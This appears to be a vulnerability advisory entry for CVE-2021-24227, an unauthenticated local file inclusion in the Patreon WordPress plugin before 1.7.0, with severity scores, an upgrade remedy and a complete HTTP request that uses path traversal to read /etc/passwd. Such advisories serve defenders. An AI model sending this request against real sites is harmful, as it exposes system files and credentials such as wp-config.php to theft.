| Title | Patreon WordPress <1.7.0 - Unauthenticated Local File Inclusion |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise of the system. |
| Remediation | Upgrade to Patreon WordPress plugin version 1.7.0 or later to mitigate this vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.33001 |
| CVE ID | CVE-2021-24227 |
| CWE ID | CWE-200 |
| Tags | cve cve2021 wordpress patreon-connect unauth lfi patreon wp wpscan vkev vuln |
Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.
GET /?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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